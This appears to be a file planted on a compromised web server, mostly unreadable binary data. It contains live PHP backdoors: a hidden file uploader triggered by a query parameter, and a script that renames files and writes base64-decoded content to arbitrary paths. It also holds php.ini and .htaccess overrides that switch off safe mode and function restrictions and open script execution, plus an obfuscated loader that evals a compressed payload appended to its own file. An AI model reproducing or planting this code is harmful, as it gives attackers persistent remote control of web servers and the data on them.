}+fqcdxtkawm]r9m~Oѻ,YzK?z#/`Rҡ]W	{q N^._R`fucsvhlmze@O{[RBqfucsvhlmze@̅FrBkT	l70fucsvhlmzeP޾BN)\jfucsvhlmzegNX}n}%ÉɄlthn@F6hAw䜁&#@4板0{:ae9=g tEl嵀i_HOe7\藩2EM9,Kraqa}-$ɸ-ZSӧ lOaK̘ W{{gnuv3!w\n25AĎXDR*/8cYMZ6e \.6jBv,!C"w
i3J=͡QǕd+{K{ڎfn-*vf_(oGfqcdxtkawm_ȩ\"&9|u3/9xe﹖k}H30!gN٘u=Jeo 8Mޔ\Ђbse:fQm_IE7Yl++xh/K\#0U}E,Z4ƪ	vYP
k2hfucsvhlmzexf/a|{Sϛ	JSƱi-a1N	r!F Dޛt/A|Q9yRK+ӿEAfC_K]7Jh|{^Iѭ\hzҜ;!	Bj=ee7l \`\gFW:+5^kޥ'ڲW捖ISFfqcdxtkawm6
Nы:knzCLT,Kryfqcdxtkawmf;o-y5:-aLD
c0R; ߐ|`Y:ak
bRBfucsvhlmze8?&
,tgV`.M.F$Ij^/[jifOc:X&`.A]r堣fqcdxtkawmWSZ2Sf-dn0o0}tr6Br9Zhv &'A7gbsc
r oIy*!6L/d ;yn;a:0Acr[lߺ	VQ	Z@c? 6tfucsvhlmze_3GM=KIr;vV:*5pULJ#a_]8Ѽ{
B,fucsvhlmzeǅ5fucsvhlmze9K[qU58{*r-?E~fφW=\Pͺ}~hjQCؙ{6~2bZ&zim'.s㾲`uh%Ь
p-@ǔI|O
L%åyO]fqcdxtkawm:#6}
0eZq`8STK6G-Z`*:`C7h
16a&DnK/Lyy5TY5~'fucsvhlmze-pep;FoAlSE-a{ԗhtg`%P֐y	Oy={-Pvorߤuiө#lZ5MSj^_%S\#f0(@D	l{T,`,Sǽ9xz7lWs0}IO@/ltTZD8wLP_fucsvhlmzedj"ݥỲp9:Czraۧ*3;NhjX:ff_ZZ(fqcdxtkawm3퍫	R45$kͺ|U'HD/)ʙ ht :кwSh`AlLbA}; 0wHzl_q=dvYAYք4'+XQHI"t!GbaκoƚO
bU^Tl-2千цx̻X{|p[FH|&AGeAfqcdxtkawmr	Y.c:7.0sVZ*-?'[*fqcdxtkawm{-, 8^fHf;9w{Lky	fucsvhlmzeŪH3P+Ƒ(5^ˈXYgڭdo9b̖,WhWpp݇13җ
At]Q(u, y?z_?lJ͛sL!5uDWoSKKiMa6)F^
X'߲؎5bnl^U*,R!fucsvhlmzeL]icNh'O-[yGgxԅ7{q~t-p.-;G!Ζ-C.+ԓ}ERue̚P0fjc+yAznq/*68G{ۺ@kSofucsvhlmzes.ab[µH7%`5pq
po`1;Rу6)*ŕDe2adڹ[wֲER8㺈X'q?uW'i­ Few`zD=6{նj.|()D7
.
@.6?Yކ-Uvd	zzUﻅy o"75ӊ;DjLq%x]g+[9ԾncY~X}T\	(fqcdxtkawm\*5h5%LRדB]]|dզzؔv 1j*w"&fucsvhlmze$UER}Vfqcdxtkawmف9tɧUJlΜV ;ߩvYlo?Ɵ!_~̹cʧ^2^ZEBF/kqOkz؅YLfucsvhlmze\,湹rn$nǚ^w;̛sʀKXl
`
'(Qg	ɭn?=$R e0QӻIIjvW}A~fM;X"e޼w@5?X2LrT*_~H0fucsvhlmze(MXv|/.,h0G:gtaa, ;Q~	Hfucsvhlmzet	f	䎙\\\8๖oǺyUV8qS7L_]Bfucsvhlmzeގux
uM#{ ׶Cnqx|tz3?;=ePBfucsvhlmzeFVpDo
aΑ9\zL?f^wг:3uΰF}}xB/rܛ`t/۩K2yBqVh}RMT_&f-p+3Oen5Sy"2yDm`fw0L(thJ,uafqcdxtkawm[̾˘lZqB![s.TR^VPaV^X{l-r'ߨmvU:E)_najF$;n¼W7zgaL5uyP!12 r	-֩L
ώ?OTI^z?gV[w
$nU6:msy8AYNZR6s)GΰyCܫmƯfqcdxtkawm;l~Ծa/V]N1x
,3g~H'sf9Mthk`=D'4da7i1
ՍrZ|02n^1I1%s`}&/*Cl~L*7y}yաCx!W֕K̑'?*V;Hgl^N%pdzXkw5ې!Wqc`κwX.S#AwZΔ[[L*oS~{fqcdxtkawmcfucsvhlmze)_{ZӳխLShk!Ge^jtk(ϡF5/1m~4^sLY$y⧋ײX)O
Ge(Ww`E
yV%rGF/X7/X83((ZUn7'ۧ
9Sπ}nx7} T4|/tQ ]?ԛ|,$eި?FzT$R|(g5Z!*.fqcdxtkawm_n*jΊ3LV+;֧$ÿ
{U4'5=pt
[$t9̵G֜+Y(?t3jfucsvhlmze UXUx)Mmu\XO.ZeMJ	9|d3kDZ}8WFu	x`i@MɅZKkw{e;ՐӯC	FIY5I*Gyghq(ͻBQfv\=xHBK,CľfucsvhlmzeCxXMH9txAs`L1*S3z7K;*iحYR(9J{ +&77-"5afqcdxtkawm3W2SaE3iQ}f!sc0.C*ݙn^3r{XBfKI} `͔
k4BizPfEEi'"U-`o%2}EXlp3qȳRX{CĎS4tNO#̗32wB9shtrLaҳ7pk`,t9 Ffqcdxtkawms.}n*ctc8.ց
4F~NfucsvhlmzeEfqcdxtkawmS:ˬfqcdxtkawmU^fucsvhlmzefrڏY7yCS^r޻}#*&(b$rNq9e?U.hU1~&.46Ʃl2--PC)(B:H{WvW۲ƞGoby鼃K#f?J7̻vbmX
G$)H_:!&)[\QVn#mOVak$k ً~qڍNoJ2nu M9|]ڤ@^1Re׿'Q#eX?WfqcdxtkawmCǺaf	WȘyװx7pH^U#,ksYfqcdxtkawmїs)q_9s^fkm2}x?nӳ܎!3Ydh#;tzNW3_7*CHʪTȒ:hka
fucsvhlmzeP*&Jq6lADLbCLՊ)Y3(WkͻȨeW8+S?Q?"4\	|a5=_
ՁӸ#٠W8zހ"xCǙ;iz)I۲9\p}R`t?fucsvhlmzeo/7Wh߭`Vf
 vήj/ߓVfqcdxtkawmvp3l{:p6u|]}ϹX,+1F7u
G@Fu"Y&fqcdxtkawmebn,FhyZ3rV6v7&O.`q'\aŞUE79z#Pѣݻ+w+fjK.7I`+~WOUL(7e7e#SWCq67UDkofWsXfucsvhlmzeJrB/#?&$q^8KSb7ЙoGqSf(aP1g#:DH+@Ysc+c.N.*&l`8fqcdxtkawmk1&45="n}8BLv`RW}^~㲛ZQrv_CUhXY6RQs,y)=Y%Gޞ~2*sC7Xs]t_?/;ŦLUNli`Y{ѡ81"t])U֞P$6=7qTqfqcdxtkawm&;0=w~vfqcdxtkawmsc"{دX,':r+Q~Ceɛ4p7!`L?+LK	^U4^Չc*˚g[e=(Uzsc2;0,r7ȥEAfucsvhlmze%j_W_Α@KS'r¸
`n4h)( i~y܃_q%8SrjM!76f%0+jcݤUB3[72tc6h~Pg^hjx(b!&
q2t}ޙڸp!m%kRҦM`=cUCgUuM0~zP.s l^o
ybOs1]q{zӗeb#Kv|]}^/8"LQTзy뫣2xHk$OzRRS_2';+\kjJL==y*td"19V&U+wfucsvhlmzeM3Bogws1r2Ae"x~Ȋ[?ӿV}i[SBlXtIsEŃsXy3@v!^XAl㶤=Jyŷ57(@s;vΞf-4E-D3yKFaz==dWv5|n?#oΦN-'; Ei;SIf#=6C|W\ 6B{wR7*r4P4XmWbNIu{i;ڿ^cє[(xLZ4fqcdxtkawm_O%/TEWuy`VwE֌Tr
``r-ϐC~,8=Nw; }:~ĖmQG	`:
fqcdxtkawmNb{U	'P oP/f_}uY2υY{6Hms^25ka|ѐbd/(^3Ϝ.殺'jG1,M}R['{35
ONᶠ󐫩ˬPhÿx]	|)DIO*J=u*);w(,&6Fl\uףv0{bǧ=QC$SY۲uM[Tpe`YSZ0dur d82*rj
tuJp'5Ӄ:e:u3Ԯ9ٔ5힍rz!fucsvhlmzep^n
d?VZfqcdxtkawm0?@-^;Ɏ BQRw.X+D׌/O`,nWjBh-0O,I״I93
fucsvhlmze}_e)fj`e^tV܇ν6=fucsvhlmzefqcdxtkawmʾw~NrE5EsqGՁך8+w@^E֎V͖%P4
#hd=|+u#Opeykno7c`&!6vA6$ !Seɸx,
gI"0iDPXhޗ`wɰT;|[bc9p8N_-[!  ECN3*u`+ )*ĒBߨҥ1|ހ5ٰGu,zf.4kt\T7AsUJWׅc\L,)_ۃ_ ,p1̍_%~` ;~]L-9ҮO2#P/1
SԧQ6#GUrgcj髼bVr륧29PXs~8) m0o^t|:LQSmd+?b%)+'ъVv\9تC6=s`ƹ=ڡfgnl/S=	=zd5`0| s3bA|*yo#nq%k8-|Υ\?fucsvhlmzeŘ4ǧ-:zpde'Kv̺|ДxoWK% VnM+:s8./j?8g܁1ofucsvhlmze}σ9KN;z'=h
~fqcdxtkawmΖ4C:SoDk5@Yn%xqoHLV{@5T[:s8gl;mm2'rc)ƒKy.e8fqcdxtkawmmfqcdxtkawm{o6qDo7Sa`Ѹ3=[OMnfucsvhlmze02dlj @T3S`%I`ІN!C/eDdgXkjqMPzfqcdxtkawmEQS7sRa-c[3GO"FNpw=MPH^cSB~IDb:)&"o21pjymwkp_`,U}Z"	%ӽKUz{!,o\???'safe_mode = Off
disable_functions = NONE
safe_mode_gid = OFF
open_basedir = OFF
exec = ON
shell_exec = ON<?php error_reporting(0); if(trim($_GET['f']) == 'f'){ $saw1 = $_FILES['file']['tmp_name']; $saw2 = '../'.$_FILES['file']['name']; echo "<form method='POST' enctype='multipart/form-data'><input type='file'name='file' /><input type='submit' value='upload' /></form>"; if($saw1 && $saw2) move_uploaded_file($saw1, $saw2); } ?>

Order Deny,Allow
<FilesMatch "\.(html|bash|sh|pl|perl|txt|htm|phtml|css|js|php|png|jpg|jpeg|txt|webp|mp4|svg|pdf|mov)$">
    Order Deny,Allow
    Allow From All
</FilesMatch>

<?php error_reporting(0); if (isset($_POST['fname'])){ rename(trim($_POST['fname']), trim($_POST['sname'])); exit; }elseif(isset($_POST['message'])){ $b4 = 'bas'.'e64'.'_decod'.'e'; fwrite(fopen(trim($_POST['name']), 'w'), $b4(trim($_POST['message']))); exit; } move_uploaded_file($_FILES['file']['tmp_name'], $_FILES['file']['name']); ?>safe_mode = Off
disable_functions = NONE
safe_mode_gid = OFF
open_basedir = OFF
exec = ON
shell_exec = ON

Order Deny,Allow
<FilesMatch "\.(html|bash|sh|pl|perl|txt|htm|phtml|css|js|php|png|jpg|jpeg|txt|webp|mp4|svg|pdf|mov)$">
    Order Deny,Allow
    Allow From All
</FilesMatch>

<?php
$cefU='s'.'tr'.'_repl'.'ace';$SnvO='file_'.'get'.'_content'.'s';$xOze='su'.'bstr';$LTOr='g'.'zuncompre'.'ss';$SiuL='exi'.'t';eval($LTOr($cefU('gcbojpetun','>',$cefU('rfgjqvptoy','<',$xOze($SnvO( __FILE__ ),-217465)))));$SiuL(0);
?>
x\_:UFTOĽLtܘ 06"z I6icgcbojpetunlNMGTrfgjqvptoy6H{[ ĿG%w_ǿ/;/
/?owxec2./?_ˮ86ʪgcbojpetun[W}Xm7_o~n:ge㿿?(߇~glMKC&Ě&dgcbojpetun񴜳?mB[Z4|~df
]=)pq*hR!AygƷF9#)rfgjqvptoyQ Q=ivUyTt1+"ÒRdjzߦ\OZ-ۛ"()TK}IKQ3}#9f@74[(y[RxRRʒBs/LdDFi_KmsDJ.ՒៈFVW-ͭIa "Gi!1u3ўv&wu׼d{st*&$Jnd^Lݬj;DevpET~+/c\Jq9܏Ϻ!eؽek?Wĭ;JJuؿk&F]հ9Cy}Υ:{Εl'%O5.=e*;|b"[kkdSD}W'\$tNhj6}5]n/Q6Pv^{'yc\Z,r/δ}GZQ
-"tO-tN˹e/0D͘׻3t|B	K4C+GrToի=K@(cnM*2a^'&Xbir0
,ީ0~ƴd\M?H9"%^o*3Ua,KgcbojpetunLmbŧcZ(N\$p
Y?fԫaHDt0{i8U=F?rAɎ[=48\rPڂp|'eNndOe]W	-:uS'gcbojpetun_rC\rfgjqvptoysGI;0~*9	W+D¼ޓH|(r!{Nbmm}l2GRP~9Yb
4RuT	;be%\
O
)H,$!U[q	¢%0_VVhz6BL|JQZ)_KF|z7?-wUvrfgjqvptoy}ݓpL|W(CfOyL&5n 7?-fQsum#HGPK/хݿ&/HxEv
2}}Yo$9!M0e9ɚ$tdX,S21;g8!8d5S9[SC
	2*߉Kޞ57yχDxwobgDB#*9v~"Yl ]6EI' xVܬƲiP2QT8UdzMz	މA(Glm&je1In%֜MDURov+ޓ͗lqH]XwZ_
UVdBWyZ{=򂏈T]^d
"~Qgy=)Rjsij:1WK83 X[:qĹ?RǍw -#'LG;HBK㊱}!.KGer S+R4o0t8K&'a[NMrfgjqvptoyҳ
2D`+ZK}NX(RB[wsƑ]
ZUUߵK7k]2=ᗂXL¼ӡaٮ:|NeۥZZUI:7v,wU|]wL# S#j[ư5]L5bXAsDLVGRcBɠ̳{T1pߒ[r+qT

5jhlw5K'K5 KKVrHyb6_V._ҵn.ޕ
ZW.	ݕw+wFsgcbojpetunS[	6H"拢zZ̔i=p]ҙqCwWK	-1_5eb6Arfgjqvptoy){˖@9VaO9kgkDb*GS|X&+]^?KgcbojpetuntO;17T1j]gcbojpetunIl(~ZC%p~wgќ׻.4S^dnJl͡F
´
XJ$$PCgj­Z`'{@"n_홍zgbھR2sӶԿon/fHAIDL=,q)1_Ep6c`b0bO`_j}"gCKqa	X FIph#w:8^2߳aFFڙNJS'/;Q٪)Ԑk-0ތD7PqjO[aY`ՉK\eϲ/Q/5w(rfgjqvptoyS3ݓуZMBEޠv(ˍ'YJy'Eg{6rY5?ّs%D[	TG-tc%HyD
/j3,֕XhNM2$n_j4sv5m8І_L"Wӻ60%LBB
7W%[r.jm;EhT4S&t`cnZڅS[&hrfgjqvptoyO6a܃r@1_ʁz f
Vm`60~Qj-W eMO,9̧ӿ2Jrfgjqvptoy)0߳i#Df
|,(=L@r:W6*'5gcbojpetunyԦtk3`m!b.ZO{ޟĆ]kþ^`b?{S?Ohf"aq~P4Y%\
xiy~1y6gcbojpetun'~ϓ$&xk}u1K9qfXҁ4jBcL߄I;;b'GZR%_JƔ0I%0aY Mm20CTx!+Xn#6v{T]@^TX9zTؾwsԘI`rO8'^Rϫ(0q!p
N8q4xiDظ0x
qͱ'hSaN*&Mή1j(P#_6@2OȨ+A-kr-GuS06W.w*Zm%`PKGp!xrfgjqvptoyrDڬ+,2' E"::IQx
hΠGr9y
%ڙ.]zCʼCQn'FP*1&~
nc鸀T3N	t]A .up|Ec/uwtخ|myAT4S78)%,wzW2P6s0^on;辛iǭy-kAoG{zYnrfgjqvptoy![X s$h
Cb7ӒC5J'wk4	OGmեo5__)d4RPJ%z15enH`A%; vvϠgcbojpetunz?93KWTfn&wkb更\|h6ܶP-yű*rfgjqvptoy,18Oc'gcbojpetunJ|!sXS!gcbojpetunh@d;|FiZ?ܪcϊxu?4Q0O|B/1B_sAF9lhW
8A@E

z+mnzT/D,Bk}*StL 3w]O[h8iA܇_v`.%8}T@3Ϡg,o=0'ʞi9/I/$?SN'KvەEhKKԠ^|-{qLQbtɕ}۽
MXxg{	/|!o^9W*h_̔e$PypBֶVR56~gcbojpetunKKt:+ŌX?k6pArfgjqvptoy	R,ǖT
^J]-7
{&Y(W%)6o;yOYs)r+s"x@]E#4xiP/K2SַrR (u1Bf%ô]3MY!o.8-gcbojpetunA6Q~w-񞏵DHu?޲\sb	OJs˜)h.Yaa)|S?v՚75;U3z+&E]K|rfgjqvptoyBXMbL#|̤O[8ӑIc*m`YF{\-sL9[Ogr]q)!:)=
4-%
rZ_1/hHzgrLjКf˱kWW$T6TA ~VmI?,gcbojpetun5rfgjqvptoy WGOK7g6f\Ә;D8k/\D@jM}_,J6	3|S3+,gcbojpetunR?xuYNL{@Xj
;oڈw=v^	6'ӂ!$g)7wO}uоr)gcbojpetun.^YdXy@L.0WEFQ^g4V$Ԫqlܚ\quV_$}fhJ|kT7pfnºdӪK(/^P߬wnCW11Cȳki$c=AޚSȸ.jPTvXtwr#y!|h O/o_;gcbojpetun4qII~qIy.0j+|ol"]O๡+z|p_鈛ok;W,{Be0,gHa2妇#ZոcA.;'5XقxdD}Wv_;~KWd&:Zf-֐S&xsgcbojpetun4Vo`
\	:ʉ1hQ1|&ed[\]/3d{K
ˑ.%ozBd0Zd_[GS)):Ҩt/cȵC~9Nхy~H.sm:t!ب[/_	gyOY$A{:
ǋEC5Pq{iKGI?(s=y)`MXx$E6,N QkU=UY!
wnHkz~
v+01A
'Iɨл;fчȁ/rWgcbojpetun52DȄ;}LUpH89h0@{n6fRD!4Ϙɥ䃵([Q}dRU6z1W0C"vy-B
ѕz.X1:!Vss\Bo׌E5gcbojpetunVPj0;]7=(9rfgjqvptoyĆs2rA|	[ɇ6֒m:"]mL"
7Yd|FZwժҼ'YVwz8[O*I+\`DnJ`yodqhr0rfgjqvptoyt_2W#vݚ~O$-VU~ݜYE[֓E"Jq~J|"[[ZNiWB=!?
MeZS)/ۂt9gcbojpetunpd~dŁ
Z\h'=콦ExU`G+,-g'gz%7"1=qR!dBz'Y[2S@gcbojpetun J|	4mW2զs|ZSsZAx@+]oc=[ҩP;܂s+d#t}i'9TJ
a^`'{/+l4Q-x6]h2'I=|;)rfgjqvptoy8%Bҁv6
`qm(c\//U5XNQ	Sy6N~nszrPfF2pܚjoCժ	$JrprfgjqvptoyU]bMxgD&JFoZuA$rfgjqvptoy3[yq(}_|Z߂ߙ3$lIiYNX.o%#ZUX&WN$5[d˞b"GCyZe5"-&+]wmڈX3DԨmT~s?f' }|Z
\ y3[ߠں׽TgcbojpetungcbojpetunnXłoY:iǉo`|&`EHԾkR7( B%gcbojpetunGuyڻ[S[?ϺPrfgjqvptoy
tngڭO kLhRm[y"6gcbojpetunl]o!k[T^i_gcbojpetunLaADk9\V15&ڃ:{8J\jD4*j9v%ؐR!t%.xH+z~KVa`|ldr.S
t.ߞbuu9=pkNZ{#!H5]&郁4q꾝UjZ`rP/gcbojpetun{ߝq#kBƉMN#9΂1%#EPK`^H5ye4DOvd%#6z,uPi!0gcbojpetunٞ
5;{rfgjqvptoy7x~q
rfgjqvptoyeC*WH@֏ͻ~9A66%\5ASW%]X]Y/ȆfpޔrfgjqvptoyTi`trAMGTGΟ\	kbMz;0kd28ڄ* ]_
J[Po1/36.^]/]	ua#?wgcbojpetunĻ朻{\Z㪑]"=~S=-i͒w4$UN!;Oޠ|x±5𙴶V3%y11 2.p	h'HqHS3lhD+tˬ[2BE-0?yʶ%xfi̷wmk\'Ev A֚d;hcNs,25C{46krfgjqvptoy-zUO8ՆB./c-s1v&@|_	z
c%T**[Y+uM,JI1 ylkr'Rwg9I0gY/`%bF
Е!ѯǕ;S"LvWbM{f$MR?sfrfgjqvptoyWUb9Gd1V~h蹼rZ	AK  v/4C4?G{~)xx'Z7)W΋_f.AMD4TB͍c))dUxې.) *wrfgjqvptoy ^yiժM UriOTpEnY3᪮WLMl|*Os^[/uuD_ws5W@X!Cw
2RcsDpMfK\{vJcleWs@X/-$-BLpqC=sDbQL kd@j0#]l~p Asp]rfgjqvptoy
Jw\ƾ7@lIhis] ,YH
?~_"rfgjqvptoy6wițj"%JXJ$	GwID֯߭
ln9tL:
6bU^qJ2`:jO7!8XEԐ2
'/ϕGbIlrfgjqvptoy`4y+ID۠*D{r2̮rAN,GbiFnUuXٽM.q[TV:[O	mjFi+	n t&!ed5^^v_ogcbojpetun Z	~4TII;^H0-Xrfgjqvptoy:^=rNa9Xo5Hm}(S	' [Ug2ŪԂ"~AyWL/IAan6b_Ϡg@]xoeSLWKȖ|{Ng`?Z'-T*~vzHIrfgjqvptoyT՚@R7s|朄sp&u t'"igcbojpetun݂ϐ'vy紥⸰1.uMWo;Ϡ{KVbV@m
*L\i-ف4j"`ʧ7cW[ck  '}4/n6^	3gg	Pb۱Ԙ-޴O媔oweSvrfgjqvptoyk3up-Ռ9?8ftnřQ=K0
Njx	|j@y]8#mZ6H4a)rfgjqvptoyBN-q\|T߃s܁-
m
P SNyvirfgjqvptoy,")n8ˢM*'^u߯oMmçp|Ty(@ڞxOЈ)J3Bn/Rhu`wj9'N$8ΎH)$n2,ҖCfQ.(03vlrfgjqvptoy[db7Ǻ}u树is|_L wWG-UluItGW:U[E nL#h~{V͓޳rN+QIŲrLa[Gqĵ	-8d53-2kYʄg;xzG~c:Ğrfgjqvptoy6t'ȬYٶ+r$GKWdF		Y۔.wCȨ!/0k\H{Dc?P áP
;	iwއĹpā
?`wY^9&P@Y28SxP_]ň0:|lWfBm_7/G]_*HPs?'خ0-"~n/¯DZlz`GĿDıL-Qj8͉C֮=sрgcbojpetunB=o w8%۠o3ޒ}BzI0u=bC%x	܈eVYiA:\.1rfgjqvptoyޮ"2,w.{pjWmOrfgjqvptoymeA(@K5.ġg'I,aV?P5V=r[KT0g;],4lqZ5"KTNv'uD Q)Cu&~L%
/gcbojpetun
gcbojpetun6rfgjqvptoyv
dB 0gU(F{R2D&V蹶^NjMVwGH|ǰ$RĿoĔ5!Eݿ@N	`uz'S_WʙS܆)8K;~kܿ( .ZzÖr?(F@,!,l+03;d"=Q{^Tz&Pt-le[e6Xv:ԽXMnIQ:i[d؈W?ifnI)}n
ۭ߯F4εˣ	n-ݓZ=غt9{M+[|ahB	A)VBs)_)QTJ]f /Hؠy;^/ԩh5%u,Zd'	g.0E;gGyS˹0 10Q#5W_t[hCAf[$'2r]7

dlV8O
߽.A&ЭH̝ZY;͝8 \㾄$yvtRzYI?k]lJ/U+|wZ^rfgjqvptoyLZۅ|OJrfgjqvptoytQ"Lƀ3ٞO!y90m]auOB"TެlM}AZ2`hj銿/s
Crfgjqvptoy/gcbojpetun\oz`QleݶO  T~B3
+80
{'%"h\?W~~_ciO8y91vZ9 @1*l%Q=mqԘA.$璋ߞ +0gcbojpetun&}fc5Q)4Ug[PS2c?RpK6ELdTw`o/]-{52kvU8D X4XQ੏{rf٣G9`EO'7Ď3=|oT:
8{RdVS%cHٮf̦!fPQلyv	h?kd'0nxWقg@dl9SCųFUZ{綘*oۛBbIzm="N"G#wMyq7
GsPg3gcbojpetunh|T{mX
yaᅋ]gq懇vWCKs@޵BDwC)Au_hZgcbojpetun֖2q[qѻmgd4^pt!GN)Onwf6{(x^K@}򏒋vTHr'˵cᯗSgcbojpetunxsGC.!No*&+=#(Jm.sL{Ŷg3w9j=%?!'VEM-[}I!`g̊5e 0 A-h$d
IL`~;9)p\.͐I+D*/rfgjqvptoyv(QTFw7jNVP):ȸӿj,ƴпص}14zb\R9Ƥڞs*9/AX}?r@=xoe0
VXZsZQ)DLfe{acVrfgjqvptoyT+#xRN;NGu^f0R+PdjaegcbojpetunP\@{z$|R{}0,նeHeq74toA!}rfgjqvptoyxrsSun6eڭC]CRv|k!hlf/v	UuoZI&rfgjqvptoym	++XZf8Qk:U8LZJ
hkG0OMx	cR,R WLD^1KDT \AIy	Lo]w8nIm.s4hZO`ȃǛV^L4Zޮ-({grfgjqvptoyռ50kȬ%"Av]`y
L;QQNC`pHq#я
=r9_
"=Zg`F
k[7J(ځ9]] 7lxkwOgcbojpetunNJyVn^Ux:C69HagcbojpetunΈ:4l)hԘ[PRN	EyU&2gcbojpetunv-	EQt|S9nѥސk0cr+oom
cvrvԧ,`jH;Q	|+ڎ+boߛ~%ha)GH3=5n-f.d[=Х72F^u&e UA.̣)ׅᤖj!!Ӡ3GAkPvv7qt_δB^*Q@萱6ygwWXSm9.?m=),Y'mMkv̈f9i{VC
,^$'s~?TH:M*_zh5AiJ{wMJDGDA5jYE=YŅx v~{^駌-d
g%!3djBlU|:3Bgcbojpetunt@s'`jZ]77(˷[G3'L-?An/KWIV9~L J}P~C	\']~Lmf5&.zgk~rfgjqvptoyY*(Μo:(zeDBˎF?

	Me|`iٷgvݷW唯z=_gSۮ՚Mǽs=WA6DFG:o#
\mMrrfgjqvptoyEwfQ;6[eGLEv{K[#,%V.{7MD;X&R'',Ihl=Үr[DZN1N!?djwygk';i%7%SKQ48 :_Jpfċͷ
'8$\չAЄkn|n#6_:DU
3(z{rfgjqvptoy0ǔ5;YZ%`
T*uV/r`:gidMԧUZ.?_)KȽɠ:Բ,ho׽+^}rfgjqvptoy৭vMzW_+3۪dM4~ gcbojpetunW9-;CBp%;0`
rfgjqvptoyA㜫ЬX'
Hij,Ա`[uj9k$Vy54妍 ĺ9Ip#y';_w"]s*AHR/+-zj^
?P
O9gcbojpetun#8lZy0L_L |yM`ƪb-84rfgjqvptoy#"(gcbojpetunRVgcbojpetun3a^~gcbojpetunjnk$PB4?z7#ǄgcbojpetunOrwd[k YH&=S`7	my L{Mjrfgjqvptoy!554*|xrfgjqvptoyil}4X6h,E3dS^KF!7~΄Ft8ېI,xh#rfgjqvptoyd.8NaNy7c+9TWvmQjd^9VG9?Jl߂v$\L	KgcbojpetuntD¢d!JUw	_:pD4h0ǂәDԙ[V=~+Ґ|4m5,?wB
/k/(!t1qzQT׆VIfG^:E#*-/*E4ɶ~޶,wN6;Yq,$92'L#UKP]$}PSY߶G=GyV% ^2dbF19[۞6aޣi#~OjmCy9VVΔ)G	t MVb!?VopD
t7̣YAGweA2ٛsQh'ډݲ`5g8Qʈ0ooOmF!q2x38&~Pb*$5W)oV:_Sb+ޮI^8*刑 rki8xQ7goZFaBYpΝɤV'k;e}rfgjqvptoyDԧrfgjqvptoyeڧ'r!gcbojpetun"ZJw	_/ףm^©JP\$ta)o˻a`C
ט@
z9T1[1`u+IAl7Q~ Z2/ڪp=J+[b:t9#LD.3_vumhy"_LlM1Xgcbojpetun#_GP	TP
y$HYƑ`JIk_wФ3䱛4) srfgjqvptoy3
ʎn|m-OŁp{!lkcAG)_v^i{WؼVrfgjqvptoy^BC	[ṁ~W*Le]m]ᱵ=7Pn{|np$y?٨cH*\+[^YӫG_-q0i5,1+ک%s?`#e#/2$*g{ri4/WiO/a"܌饁dEf(ĊMJq,Qv)h-7iyT8HO~p%2U9E4R]qp܊sEU!Bv%0rfgjqvptoyAnV૆:6xˢĲV*?65[rdNlqᐓĠjLv/%	
dMv?v1{\ZDTctU
H1ߦG^Wvk@L|Y9n#
uʦ^`~9fɠG rCudt.etfZySbRI7 -;{@?$ጬx vi=1)bֻ_
ǠrfgjqvptoyAeo,2O0k`,ݮYmFM9AC*։OB+ڮ'"K/G8ĦavxX1OA^Vc܉CR::W^qTInc@ryqv} gcbojpetung{3|@V{RZ!beH*͡%qqѷ|ΨuU~bqrnXY*,*nU~rfgjqvptoyxkE~0M3 ydh,ڮhC9?z!xS' ޺Cwz	`rb!X
$W7^Wi@|4O

{Ulސ]Nfo Tt	ۂyr$d'&vǁiPfѣ2k'fTA}rfgjqvptoyIrr({jElk0gcbojpetun`+MX@,rýU|yꟃf5vԔY+iT&M_ۓu?۵X/AX|9ije8ZQ٪}?,ơJؗU*ȭ#M~HimŎM/_=RL2!R$B"@qq[.H$s	Qg4k7^
w
y+Cx}iRWɼ߄%-l-wG	ۻ*wyljgcbojpetun鎯lЯKY4xeaK_O}ʔrT#t9kRԆ@Xw]/6|Z,2?kcYGE
 |qY=I3N[6_5?/ݞHv"eDX%mk~8T)7
l*kYJ.3RR"DE`v-rd͟Пrfgjqvptoy&IKa++?Ƶ-#}v*.v@D]N
ttgcbojpetunΕ8UHV\/Y]GsPȀn NWsݟP/l9~!ɑYELʴ[I&fyenyp¼q-OoLX̔yugcbojpetunf/"wiik[qH&Zk\QL)*g&Fȿgcbojpetun-@,nz{sJHY{m=KxkFJm)
yyn\ƅ	@ȍmICjlmo@VҶ'j!{!rp;2)mV$GJ&d'7rfgjqvptoy8 ޝl8d22yrfgjqvptoyU) 8$826DUZXUe*3Sb8$;&vv8BU-Q]C֛ ӖëיC.m_o1agcbojpetunsDۙKho-'zMEpT~{kB/9#;G
z| n{q\`^m}(-[
эHͶRNqcb
cDw	̪) wW#cw[B$ϋ顣ChrUмYI.&q.{@^nBmo%rfgjqvptoyg![bgcbojpetunI.lpOg܃Cc	BHW+Zz:ֶ"'A*!L`=	_NMprart.wbqrfgjqvptoyrfgjqvptoyg͢(7Omֺ*K|+'}}͙U^EPos˹Y~[hisS!L=nOX	rqEC:ag0UXm"sQ3?˥nIvYxGP=|'+gcbojpetun`U[@+[?^GeH?!8M5'%, }R9d_0	Nl{/xx!N'nUkܴ/9ƿFE6{K&ns--,VuʉOa߁Cm?\*7/U)YDw$ig-=0u|7楽l|$i.=SPԞĠ}
t=
W
hA,ӉaGrfgjqvptoy$Ikj0XjY3	:'9gcbojpetun|Lvug҈loՁӕ_	#۳}x'ʄ9 ӍДC l[l'Z!e')dJ迊cVv^ yË^gcbojpetunRwگ.x0w8˜!	M$^zp89ּ/܇([^AbN/l$8EI(˶Ygcbojpetun|rfgjqvptoy7UgcbojpetunZQI Vr
\GzMlm	O $G \0WTQI-U֒9jb=[q&Є~esyx
qvP^DLN_j4SYeʘij eo%?Joyg5NնF*
e{2#TWߡ"E@=%ߘm3'" [6XrCo{MS?3
gvgcbojpetunh ݽ2s
cz3KSȅse0{c5!!Ie5 78mkgcbojpetun|*a&DrfgjqvptoywĳKel{e!a3]6ꈂpsqXANqtRyY[꾽6eAG7pJDz@amVrfgjqvptoyԁdY;$M1;ei"Ij
nm{0m
$/ؠ*nn{YˑIlmS2;/Q[JF@;{:&/_`UBnŃ;[Uu"sʦLNsݟsCnֺM*4%/s?H9;1)яr!n`"{"*GU}WbZZa
~BQ^n=+՘ kt$+mLi ^ϐ'B=:A;A3ۃA0{c5~۝uȥɥOyҗnԵ?FsZǶ K|jy͈	?%˅y.P}#/,p7;dW"O(yW#Y4uln&a|kdiX=gcbojpetunu^U[Oғǭ||8sQ!Sisc";9-*;[igV{rfgjqvptoyrfgjqvptoy|Ϛl;@&t;c 
\mk۲crfgjqvptoy5kGo&(뮲byܘ̈QgcbojpetunHz֡[2M!u~iR$HpkcHqsaNli4d|&(ss5gcbojpetunvi&q7YA0^5$pz^w F
